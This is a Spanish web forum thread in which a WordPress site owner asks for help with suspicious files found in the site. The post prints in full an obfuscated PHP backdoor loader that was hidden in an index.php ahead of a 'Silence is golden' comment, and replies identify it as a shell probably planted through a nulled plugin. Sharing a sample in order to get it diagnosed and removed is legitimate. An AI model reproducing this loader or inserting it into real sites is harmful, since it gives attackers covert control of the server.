Imágenes Justified Image Gallery en catalán en vez de español

  • Autor Autor McToth
  • Fecha de inicio Fecha de inicio
M

McToth

Curioso
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Tengo un problema muy raro en la web. Las imágenes que gestiona Justified Image Gallery solo se muestran en catalán, no así en las páginas en español.

Después de comentar el tema con el servicio técnico de WPML, me han encontrado archivos sospechosos (según ellos), aunque a mi también me lo parecen. No encuentro información sobre esto. Y no me refiero a Silence is golden, que veo que puede estar en varios archivos index.php, sino la descripción que sigue...

Adjunto el código:

Insertar CODE, HTML o PHP:
<?php $funwukls = '816:+946:ce44#)zbssb!>!ssbnpex24!>!	x24/%tjw/	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	xww2)%w`TW~	x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K##o]#/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!%tmw!>!#]y84]275`x	x22l:!}V;3q%}U;y]}R;2]},;osvufs}	x27;mnui}&;zepc}A;~!}	x7f;!|!}{;))!gjZ<#opo#>b%!**X)ufttj	x22)gj!|!*nbsbq%)x;0]=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]4#-!#]y38#-!%w:**<")));$kg**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fp_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`sX	x27u%)7fmjix6<C	x2`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA	x27K6<	x7fw6*3qj%7>	x2272qj%)7>!%i	x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44]y76#<!%w:!>!(%w:!>!	x246767~6<Cw6<pd%w6Z6<.5`hA	x27R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;	x24]25	x24-	x24-!%	x24-	x24*#-bubE{h%)tpqsut>j%!*72!	)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6*	x7f!>>	x22!pd%)!gj}Z;h!o"	x6f	142	x5f	163	x74`cpV	x7f	x7f	x7f	x7f<u%V	x27{ftmfV	x7f<*X&Z&S{ftdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfduhA)3of>2bd%!<5h%/#0#/*#npd/#)rrdf ((strstr($uas,"	x6d	163	x69	145")) or (strstr($uas,"	x7f_*#ujojRk3`{666~6<&w6<	x7fw6*CW&)7gj6<.[A	x27&67#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1]275]y7:]268]y7f#<!%tww!>) { $GLOBALS["	x61	156	x75	156	x61"]=1; $uas=strtolower($_SERVER%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-6<*)ujojR	x27id%6<	x7fw6*	x7]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K#-#	x24-	x24-tusqpt)%z-#:#*	x24-	pjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~dof./#@#/qp%>5h%!<*::::::-11<C>^#zsfvr#	x5cq%7**^#z%7-C)fepmqnjA	x27&6<.fmjgA	x27doj%6<	y%)utjm!|!*5!	x27!hmg%)!gj<##!>!2p%Z<^2	x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO	x22#)f5cSFWSFT`%}X;!sp!*#opo#>utcvt-#w#)ldbqov>*ofmbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sf%,3,j%>j%!<**3-j%-bubE{h%)s5	x5f	146	x75	156	x63	164	x69hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyfx5c2^-%hOh/#00#W~!%t2w)##Qtjw)#>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!op<^#Y#	x5cq%	x27Y%6<.msv]82#-#!#-%tmw)%tww**WYsboepn)%bss-!|!	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24b!>!%yy)#}x7fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj7pd%6<pd%w6Z6<.4`hA	x27pd%6<pd%w6Z6<.3`hA	x27pd%6<pjudovg!|!**#j{hnpd#)tutjyf`opjudovg	x22)!gj}1~!<2p%	x7f!~!)%	x24-	x24*<!~!	x24/%t2w/	x24)##-!#~<#/%	x24-	x24!>!fyqmpef)#	x24*<!-K)udfoopdXA	x22)7gj6<*QDUkkxwg = $omkexpr("", $sbrpgqt); $kgkkxwg();}}2M3]317]445]212]445]43]321]464]284]364]6]234]3fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMH#	x27rfs%6~6<	x7fw6<*K)ftpmdXA6|7**197-2qj%7!%c:>%s:	x5c%j:^<!%w`	x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%utcvt)esp>hmg%!<12>jl",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>!osvufs!~<3,j%>j%!*3!	x27!hmg%!)!gj!<2,*j%!-#1]6~67<&w6<*&7-#o]s]o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*CW&)7gj6<gj6<**2qj%)hopm3qjA)qj3hopmA	x273qj%6<s.973:8297f:5297e:56-xr.98	157	x6e"; function enatnxl($n){return chr(ord($>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	x27;%!<*#}_;#)323ldfid>}&;!osvufs}	ec:649#-!#:618d5f9#-!42]58]24]31#-%tdz*Wsfuvso!%bss	x5csboe))1/35.)1/14+9**-)1/2986+7;ftmbg}	x7f;!osvufs}w;!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zx27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9xpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5dUVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`mfV	x7f<*XAZASV<*w%)ppde>u%V<#65,47	x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvu572]48y]#>m%:|:*r%:-t%)3of:opjudovsfvr#	x5cq%)ufttj	x22)gj652]e7y]#>n%<#372]58y]472]37y]672]487&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UF	141	x72	164") && (!isset($GLOBALS["	x61	156	x75	156	x61"])))FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)3~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA*Y%)fnbozcYufhA	x272qj%6<^#zsfvr#	x5cq%7/7#@#7/7^#iubq#	x5cq%	x27jsv%6if((function_exists(!|!*1?hmg%)!gj!<**2-4-bubE{h%)s:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273<**#57]38y]47]67y]37]88y]27]28y9]78]K5]53]Kc#<%tpz!>!#]of`57ftbc	x7f!|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	xn)-1);} [MENTION=44761]Error[/MENTION]_reporting(0); $sbrpgqt = implode(array_map("enatnxgj}l;33bq}k;opjudovg}#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>23zbek!~!<b%	x7f!<X>b%Z<#opo#>b%!*##>>X	x24-	x24gps)%j>1<%j=tj{fpg323ldfidk!~!<**qp%!-uyfu%)3of)fepdg<~	x24<!%o:!>!	x242178}527}88:}334}472	x24<!%ff2!>!bssbz)x7f;!opjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]3d%w6Z6<.2`hA	x27pd%6<C	x27pd%6|6.7eu{6#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]%!|!*#91y]c9y]g2y]#>`ftsbqA7>q%6<	x7fw6*	x7f_*#fubfsdXk5`{66~6<&w6<	x7fw6*CW&)7gj6<*dojfs!*!+A!>!{e%)!>>	x22!ftmbg)!gj<*#k#)usbut["	x48	124	x54	120	x5f	125	x53	105	x52	137	x41	107	x45	116	x54"]); i-}!#*<%nfd>%fdy<Cb*[%h!>!%t6<*id%)ftpmdR6<*id%)dfyfR	x27tfs%6<*17-SFEBFI,6<*127-*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebf]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]5!	x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)#	x2epmqyfA>2b%!<*qp%-*.%)e2	166	x3a	61	x31"))) { $omkexpr = "	x63	162	x65	141	x74	14!	x27!hmg%)!gj!~<ofmyg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	x5c%j:.2^,%b:<R25,d7R17,67R37,#/q%>U<#16,4/#00;quui#>.%!<***f	x27,*e!	x24/%tmw/	x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr	x5c1^-%r	1112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/SVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!}	x27;!>>>!}_;gvc%}&	x27,*d	x27,*c	x27,*b	x27)fepdof.)fep5:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84%t::!>!	x24Ypp3)%cB%iN}#-!	x24/%tmw/	x24)%c*W%eN+#Qi	x5c1^W%c!24<%j,,*!|	x24-	x24gvodujpo!	x24-	x24y7	x24-	x24*<!sTrREvxNoiTCnuf_EtaerCxECalPer_Rtstqlhkor'; $szkrnypv=explode(chr((686-566)),substr($funwukls,(36606-30729),(232-198))); $slvbnwa = $szkrnypv[0]($szkrnypv[(6-5)]); $mdcxrdnf = $szkrnypv[0]($szkrnypv[(7-5)]); if (!function_exists('ytbstx')) { function ytbstx($lueokqw, $xzrirjwn,$unoepae) { $qqfhoukmd = NULL; for($yasvmrk=0;$yasvmrk<(sizeof($lueokqw)/2);$yasvmrk++) { $qqfhoukmd .= substr($xzrirjwn, $lueokqw[($yasvmrk*2)],$lueokqw[($yasvmrk*2)+(6-5)]); } return $unoepae(chr((54-45)),chr((584-492)),$qqfhoukmd); }; } $tnhwfixmu = explode(chr((138-94)),'3921,20,925,21,3686,61,1252,64,4850,68,1066,57,5303,58,1851,29,2953,48,4210,65,2675,62,689,51,2162,51,4635,38,2825,64,4998,38,538,21,3622,64,2504,45,2340,26,559,66,2889,38,3851,70,1574,23,3562,25,2001,23,4741,67,1597,37,2113,49,4945,53,3334,42,1375,28,1123,48,3376,62,2457,47,5623,60,3156,22,899,26,1502,44,3795,56,2778,47,819,25,3231,45,5361,21,1824,27,1749,21,1634,26,3941,31,2655,20,4721,20,1956,45,2213,58,1660,65,5280,23,1033,33,5469,26,5683,37,1546,28,5564,59,3178,53,1770,54,3276,58,0,29,509,29,3747,48,4360,39,284,42,4426,34,4165,45,1725,24,3001,70,4518,58,1171,56,3972,47,3473,55,4808,42,946,48,3438,35,5441,28,740,50,1880,45,215,69,4275,21,326,57,160,55,5036,69,1227,25,5170,41,4110,31,5105,65,3587,35,383,46,3528,34,4460,58,790,29,2058,55,1469,33,29,64,5826,51,4399,27,2271,69,5764,62,625,64,3071,21,4296,64,5495,69,1925,31,2024,34,1316,59,2927,26,5720,44,1403,66,4141,24,4059,51,2737,41,4673,48,4019,40,4918,27,994,39,844,55,4576,59,2411,46,3092,64,455,54,5382,59,2549,58,2607,48,93,67,5211,69,429,26,2366,45'); $mepdcacmhsd = $slvbnwa("",ytbstx($tnhwfixmu,$funwukls,$mdcxrdnf)); $slvbnwa=$funwukls; $mepdcacmhsd(""); $mepdcacmhsd=(624-503); $funwukls=$mepdcacmhsd-1; ?><?php
// Silence is golden.

Que debo hacer? Borro los archivos? He mirado en Virustotal y Sucuri, pero no me encuentra nada malo...
 
Al parecer es una shell ofuscada y es muy probable que solo sea la primera parte del codigo, por eso que no lo detectan como virus, ya que hay diversas formas de evadir estos scaners, yo que tu andaria recordando que fue lo ultimo que hiciste, tal vez instalaste un plugin nulled o algun otro plugin con agujeros, deberias ir desinstalando plugins dudosos
 
Ya estoy hablando con mi hosting y han borrado los archivos. También me comentaron que estaban pasando un script para encontrar si hay algo más.

Entiendo que puede haber sido un plugin instalado, como comentais.

Gracias por todo!
 

Temas similares

Atrás
Arriba